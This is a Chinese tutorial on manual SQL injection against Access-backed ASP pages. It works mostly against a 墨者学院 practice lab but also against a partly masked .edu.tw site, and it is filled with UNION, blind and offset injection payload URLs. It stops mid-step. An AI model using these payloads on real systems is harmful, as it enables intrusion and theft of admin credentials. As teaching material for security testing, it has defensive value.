是一种非常简单但是功能完整的数据库,很适合小型网站创建,可以很轻松管理表和列,有很多管理工具
1.这里采用墨者学院提供的SQL手工注入漏洞测试环境
http://219.153.49.228:40000/new_list.asp?id=1
2.判断注入点标准三连 ’ ~ and 1 ~ and 0
http://219.153.49.228:47744/new_list.asp?id=1' #页面报错
http://219.153.49.228:47744/new_list.asp?id=1 and 1 #页面正常
http://219.153.49.228:47744/new_list.asp?id=1 and 0 #页面报错
对比后 我们发现 and 1 后 页面正常 and 0后页面错误,说明此时已经闭合成功了 ,可以拼接自己要的语句了。
#若带入 and (select count(*) from msysobjects)>0
#由于msysobjects表在access数据库中无权访问所以返回错误--为access数据库
因为access数据库有时候添加上面的语句就报错,所以我们不知道是不是acess数据库,这里我们根据脚本语言判断 如果语言为asp,基本就是access数据库,aspx可能是mssql很少是access。所以我们要判断是不是access数据库。只需要看是不是asp 语言,如果是aspx就判断他是不是MSSQL数据库即可。
#若带入and (select count(*) from sysobjects)>0
#由于sysobjects表在MSSQL数据库中可以正常访问所以当返回正常页面时表示为MSSQL数据库
http://219.153.49.228:43394/new_list.asp?id=1 and (select count(*) from sysobjects)>0 #错误表示不是mssql,而是access、数据库
如果有回显的情况下,我们可以尝试一下联合注入。当然也可以用盲注。
1. 判断存在的字段数
order by 语句用来根据指定的列对结果集进行排序
order by 1”表示对第一栏位进行排序,
2. 作用:可以用来判断查询语句所在的表到底有多少个字段
http://219.153.49.228:43394/new_list.asp?id=1 order by 1 #按第一列进行排序正常,说明至少有一个列
http://219.153.49.228:43394/new_list.asp?id=1 order by 2 #2个
http://219.153.49.228:43394/new_list.asp?id=1 order by 3 #3个
http://219.153.49.228:43394/new_list.asp?id=1 order by 4 #4个
http://219.153.49.228:43394/new_list.asp?id=1 order by 5 # 此时报错,说明该表只有四个字段
--
#用此方法也行,道理一样,都是看能不能根据列来排序,如果能,就说明存在序号为N的这一列
http://219.153.49.228:43394/new_list.asp?id=1 order by 1,2,3,4,5
http://219.153.49.228:43394/new_list.asp?id=1 order by 1,2,3,4
http://219.153.49.228:43394/new_list.asp?id=1 order by 1,2,3
3. 猜解表名
Access数据库结构:
masterdb(下面可以有很多表)
表1(每个表下面可以有很多列) 、表2、表3
列1 列2 列3
再下面是一组一组的数据
(1)猜解表名列名,联合查询法
http://219.153.49.228:43394/new_list.asp?id=1 union select 1,2,3,4 from admin(自己猜测的)
如果存在,爆出显示位置
http://219.153.49.228:43394/new_list.asp?id=1 union select 1,2,3,4 from admin5(随便输入的)
可以猜出有 admin 和news表,这个工作更适合工具来做
http://219.153.49.228:43394/new_list.asp?id=1 union select 1,2,3,4 from news
4. 猜解列名
从爆出显示位置的列入手,如上图的2,3,因为用此处查询可以直接看到结果,可以验证对错
http://219.153.49.228:43394/new_list.asp?id=1 union select 1,id,username,4 from admin
从2,3处猜 在admin表中是否存在id,username这两个列,不存在报错,如果存在,就会打印查到的第一行的数据
![[Pasted image 20201214224814.png]]
不好猜的话多看工具里搜集的表名列名
5. 猜解表名列名
逐字猜解法,猜表名
http://219.153.49.228:43394/new_list.asp?id=1 and exists (select * from admin) #判断查询结果是否存在
同样,列名也可以
http://219.153.49.228:43394/new_list.asp?id=1 and exists (select id from admin) #页面返回正常表示存在
http://219.153.49.228:43394/new_list.asp?id=1 and exists (select id,username from admin) #页面返回正常表示存在
这里查询数据是重点
判断长度
http://219.153.49.228:43394/new_list.asp?id=1 and (select top 1 len(username) from admin)=4 #正常
#若该列数据的长度为4则返回正常,否则出错
http://219.153.49.228:43394/new_list.asp?id=1 and (select top 1 len(username) from admin)=5 #出错
如果无回显的情况下,我们只能盲注。
判断有无admin 这个表
http://219.153.49.228:43394/new_list.asp?id=1and exists (select * from admin)
判断有无password这个列
http://219.153.49.228:43394/new_list.asp?id=1 and exists (select password from admin)
判断有数据长度
access数据库中没有 limit,就不能限制查询出来的行数。但是我们可以使用top命令,top 1是将查询的所有数据只显示第一行,所以 top3就是显示查询出来的前三行数据了
http://219.153.49.228:43394/new_list.asp?id=1 and (select top 1 len(username) from admin)=4 #正常
#若该列数据的长度为4则返回正常,否则出错
http://219.153.49.228:43394/new_list.asp?id=1 and (select top 1 len(username) from admin)=5 #出错
说明username对应的第一行数据的长度是4
接下来根据ASCII码表逐字猜解每一位的数据
http://219.153.49.228:43394/new_list.asp?id=1 and (select top 1 asc(mid(username,1,1)) from admin)=107 # 错误
http://219.153.49.228:43394/new_list.asp?id=1 and (select top 1 asc(mid(username,1,1)) from admin)=109 #正确
moke第一位为小写m,正确
格式为asc(mid(列名,位数,1))
从第二行开始,查询数据就得用另外的语句了,因为这里的top只能显示查询前几条数据,所以我们得用联合查询,先查询前两条,然后倒序,然后在找出第一条,这就是第二条数据。
查询第二行admin列的长度
and (select top 1 len(admin) from ( select top 2 * from information order by id) order by id desc)>55
下面是查询第2条数据的第3个字符
and (select top 1 asc(mid(admin,3,1)) from ( select top 2 * from information order by id) order by id desc)>55
查询第三条数据的4个字符
and (select top 1 asc(mid(admin,4,1)) from ( select top 3 * from information order by id) order by id desc)>55
注:在access中,中文也可以用asc函数来表示,例如:asc(mid("中国",1)) 表示 中 字的ascii值,可以用 chr 来逆向得出值
Access偏移注入:表名知道,列名无法获取的情况下
假设一个表有8个字段,admin表有3个字段。
联合查询payload:union select 1,2,3,4,5,6,7,8 from admin
在我们不知道admin有多少字段的情况下可以尝试payload:union select 1,2,3,4,5,6,7,admin.* from admin,此时页面出错
直到payload:union select 1,2,3,4,5,admin.* from admin时页面返回正常,说明admin表有三个字段
然后通过移动admin.*的位置,就可以回显不同的数据
判断多少个列
http://www.xxx.com/show.asp?id=1993 order by 45 回显正常
http://www.xxx.com/show.asp?id=1993 order by 46 回显错误
说明有45个列
然后进行联合注入
http://www.xxxx.com/show.asp?id=1993 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45 from admin(admin这个表是猜的)
查询表的列数
http://www.xxxx.com/show.asp?id=1993 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,admin.* from admin #回显错误
http://www.xxxxx.com/show.asp?id=1993 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,* from admin #回显正常
回显成功,说明admin的列数为 45-41=4
然后我们再减掉四个数进行偏移注入
45 - 8 = 37
http://www.xxx.com/show.asp?id=1993 UNION SELECT 1,2,3,4,15,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,* from (admin as a inner join admin as b on a.adminid=b.adminid)
(表种必须有adminid列)
这时候,因为偏移上没有回显位。我们还需要重新偏移
所以我们还需要再减掉
http://www.xxxx.com/show.asp?id=1993 UNION SELECT 1,2,3,4,15,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,* from ((admin as a inner join admin as b on a.adminid= b.adminid)inner join admin as c on a.adminid=c.adminid)
http://www.xxxx.com/show.asp?id=1993 UNION SELECT 1,2,3,4,15,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,* from (((admin as a inner join admin as b on a.adminid= b.adminid)inner join admin as c on a.adminid=c.adminid) inner join admin as d on a.adminid=d.adminid)
这时候我们发现预览那个地方有回显位了。
在Access数据库类型注入的时候,我们获取不到列名(前提是有表名),一般会选择使用偏移注入,但是这种注入方式往往借助的是个人的人品,且步骤繁琐。本文中我们研究了一种新的注入技术让“偏移注入不再需要人品”。在这里定义这种注入技术为:“移位溢注技术”。
它适用于ACCESS和MYSQL(任何版本)
我们先来看看普通的偏移注入步骤:
由于步骤6的方法过于需要人品值,且语句繁琐,因此在这里,我们研究新的注入技术:-
1. 判断字段长度
https://xxx/sc/tt/syste1/newshow.asp?news_id=801 order by 16 回显正常
https://xxx/sc/tt/syste1/newshow.asp?news_id=801 order by 17 回显不正常
2.判断表名
https://www.xxx.edu.tw/sc/tt/syste1/newshow.asp?news_id=801 and exists(select * from newsadmin)
3. 判断表长
https://www.xxx.edu.tw/sc/tt/syste1/newshow.asp?news_id=801 UNION SELECT 1,2,2,4,5,6,7,8,9,10,11,12,13,14,15,newsadmin.* from newsadmin 回显错误
4. 开始偏移